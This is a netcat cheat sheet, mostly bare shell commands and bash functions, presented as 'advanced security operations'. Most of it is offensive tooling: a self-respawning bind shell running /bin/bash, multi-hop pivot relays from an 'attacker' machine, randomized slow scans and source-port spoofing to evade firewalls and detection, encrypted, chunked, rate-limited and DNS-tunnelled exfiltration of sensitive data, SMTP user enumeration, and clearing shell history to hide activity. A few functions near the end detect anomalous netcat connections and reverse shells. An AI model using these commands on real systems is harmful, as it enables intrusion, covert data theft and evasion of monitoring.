Netcat Mastery - Advanced Security Operations

nc -zv host 443

nc -lvp 4444

nc host 22

nc -lvp 9999 > file

nc host 9999 < file

for port in 21 22 23 25 80 443; do nc -zv target $port; done

mkfifo /tmp/r; nc -l 8080 < /tmp/r | nc target 80 > /tmp/r

nc -lvp 9999 | tar xzf -

printf "HEAD / HTTP/1.1\r\nHost: target\r\n\r\n" | nc target 80

dmz$ mkfifo /tmp/r; nc -l 8001 < /tmp/r | nc 192.168.1.10 8002 > /tmp/r

app$ mkfifo /tmp/r; nc -l 8002 < /tmp/r | nc 192.168.2.50 22 > /tmp/r

# Sender
tar czf - /data | openssl enc -aes-256-cbc -pass pass:Key | nc target 9999

# Receiver
nc -l 9999 | openssl enc -d -aes-256-cbc -pass pass:Key | tar xzf -

shuf -i 1-65535 | while read p; do nc -zv -w1 target $p; sleep $(shuf -i 5-30 -n1); done

split -n l/3 secret.tar.gz /tmp/chunk_

cat /tmp/chunk_aa | nc host1 9999 &

cat /tmp/chunk_ab | nc host2 9999 &

cat /tmp/chunk_ac | nc host3 9999 &

deploy_pivot_chain() {
  local -a hops=("$@")
  for i in "${!hops[@]}"; do
    [[ $i -eq $((${#hops[@]}-1)) ]] && break
    curr="${hops[$i]}"; next="${hops[$((i+1))]}"
    ssh "${curr%:*}" "nohup sh -c 'mkfifo /tmp/r$$; \
      nc -l ${curr#*:} < /tmp/r$$ | nc ${next%:*} ${next#*:} > /tmp/r$$' &"
  done
}

while true; do
  nc -l 4444 -e /bin/bash 2>/dev/null || {
    sleep $((RANDOM % 300 + 300))
    continue
  }
done &

scan_adaptive() {
  local delay=10
  while read target; do
    if nc -zv -w1 "$target" 22 2>&1 | grep -q succeeded; then
      delay=5
    else
      delay=$((delay * 2))
      [[ $delay -gt 60 ]] && delay=60
    fi
    sleep $delay
  done < targets.txt
}

# Stage 1: Establish relay on dmz-web
dmz-web$ mkfifo /tmp/r1; nc -l 8001 < /tmp/r1 | nc 192.168.10.20 8002 > /tmp/r1

# Stage 2: Establish relay on app-server
app-server$ mkfifo /tmp/r2; nc -l 8002 < /tmp/r2 | nc 192.168.10.50 22 > /tmp/r2

# Stage 3: From attacker machine
attacker$ ssh -p 8001 db_user@dmz-web-ip

for port in 22:2222 80:8080 443:8443; do
  src=${port%:*}
  dst=${port#*:}
  mkfifo /tmp/r_$dst
  nc -l $dst < /tmp/r_$dst | nc 192.168.10.50 $src > /tmp/r_$dst &
done

for port in {1..1024}; do
  nc -zv -w 1 target $port 2>&1 | grep succeeded
  sleep $(shuf -i 5-15 -n 1).$(shuf -i 0-999 -n 1)
done

shuf -i 1-65535 | while read port; do
  nc -zv -w 1 target $port 2>&1 | grep succeeded
  sleep $(shuf -i 10-30 -n 1)
done

nc -p 53 target 443

for src in 20 53 80 443; do
  echo "[*] Trying source port $src"
  nc -p $src -zv target 22 2>&1
done

# Sender
tar czf - /sensitive/data | openssl enc -aes-256-cbc -salt -pass pass:SecretKey | nc target 9999

# Receiver
nc -l 9999 | openssl enc -d -aes-256-cbc -pass pass:SecretKey | tar xzf -

send_http_tunnel() {
  local target=$1
  local port=$2
  local data=$3
  local encoded=$(echo "$data" | base64 | tr -d '\n')
  local length=${#encoded}
  {
    echo "POST /api/upload HTTP/1.1"
    echo "Host: $target"
    echo "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
    echo "Content-Type: application/octet-stream"
    echo "Content-Length: $length"
    echo ""
    echo "$encoded"
  } | nc "$target" "$port"
}

data="sensitive_data_here"
encoded=$(echo "$data" | base64 | tr -d '=')

for chunk in $(echo "$encoded" | fold -w 63); do
  dig "$chunk.tunnel.yourdomain.com" @dns_server
  sleep 1
done

(echo -e "\n\n"; sleep 1) | nc target 22 | head -1

for method in GET POST OPTIONS HEAD TRACE; do
  echo "=== $method ==="
  echo -e "$method / HTTP/1.1\r\nHost: target\r\n\r\n" | nc -w 2 target 80 | head -20
done

(echo -e "EHLO test\nHELP\nVRFY root\nEXPN root\nQUIT\n"; sleep 2) | nc target 25

for port in 21 22 23 25 80 110 143 443 445 3306 3389 5432 8080 8443; do
  echo "=== Port $port ===" | tee -a banners.log
  timeout 3 nc target $port 2>&1 | tee -a banners.log
done

# Split file into chunks
split -b 10M "$file" /tmp/chunk_

# Send each chunk with hash
for chunk in /tmp/chunk_*; do
  hash=$(md5sum "$chunk" | cut -d' ' -f1)
  echo "CHUNK:$chunk:$hash" | nc -w 5 "$target" "$port"
  cat "$chunk" | nc -w 30 "$target" $((port + 1))
  sleep 2
done

exfil_slow() {
  local file=$1
  local target=$2
  local max_rate_kb=10
  local interval=60
  bytes_per_interval=$((max_rate_kb * 1024))
  while IFS= read -r -n $bytes_per_interval chunk; do
    echo -n "$chunk" | nc -w 5 "$target" 9999
    sleep $interval
  done < "$file"
}

baseline_connections() {
  ss -tnp | grep nc | awk '{print $4,$5}' | sort | uniq -c > /tmp/nc_baseline.txt
}

detect_anomalies() {
  ss -tnp | grep nc | awk '{print $4,$5}' | sort | uniq -c > /tmp/nc_current.txt
  comm -13 /tmp/nc_baseline.txt /tmp/nc_current.txt | \
    while read count local remote; do
      logger -t "NC_ANOMALY" -p security.warning \
        "Anomalous netcat connection: $local <-> $remote (count: $count)"
    done
}

detect_reverse_shell() {
  ss -tnp | grep -E 'nc|netcat' | while read line; do
    pid=$(echo "$line" | grep -oP 'pid=\K[0-9]+')
    if [ -n "$pid" ]; then
      if pgrep -P "$pid" | grep -qE 'bash|sh|dash|zsh'; then
        echo "[CRITICAL] REVERSE SHELL DETECTED: PID $pid"
        logger -t "SECURITY" -p security.alert \
          "Reverse shell detected on PID $pid"
      fi
    fi
  done
}

self_destruct_listener() {
  local port=$1
  local max_time=300
  timeout $max_time nc -l "$port" > /tmp/received_$$ 2>&1
  if [ -s /tmp/received_$$ ]; then
    mv /tmp/received_$$ /secure/location/data_$(date +%s)
  fi
  rm -f /tmp/*_$$
  pkill -P $$ nc 2>/dev/null
}

unset HISTFILE
export HISTSIZE=0

mkdir -p /dev/shm/work
cd /dev/shm/work

tmux new-session -d -s nc_ops

tmux new-window -t nc_ops:1 -n "scan"
tmux send-keys -t nc_ops:1 "for p in {1..65535}; do nc -zv target \$p 2>&1 | tee -a scan.log; done" C-m

tmux new-window -t nc_ops:2 -n "listener"
tmux send-keys -t nc_ops:2 "nc -lvp 4444 | tee session.log" C-m

# Local port forward
ssh -L 8080:internal-host:80 jump-host

# Remote port forward
ssh -R 8080:localhost:80 remote-host

# Dynamic SOCKS proxy
ssh -D 8080 jump-host

# Combined tunnel + relay
ssh -L 9999:localhost:9999 pivot-host "nc -l 9999 | nc internal-target 22"

sudo pacman -S parallel

parallel -j 50 "nc -zv -w 1 target {} 2>&1" ::: {1..65535} | grep succeeded

parallel -j 20 "nc -zv -w 1 {} 22" ::: $(cat targets.txt)

sysctl net.core.rmem_max

sudo sysctl -w net.core.rmem_max=26214400
sudo sysctl -w net.core.wmem_max=26214400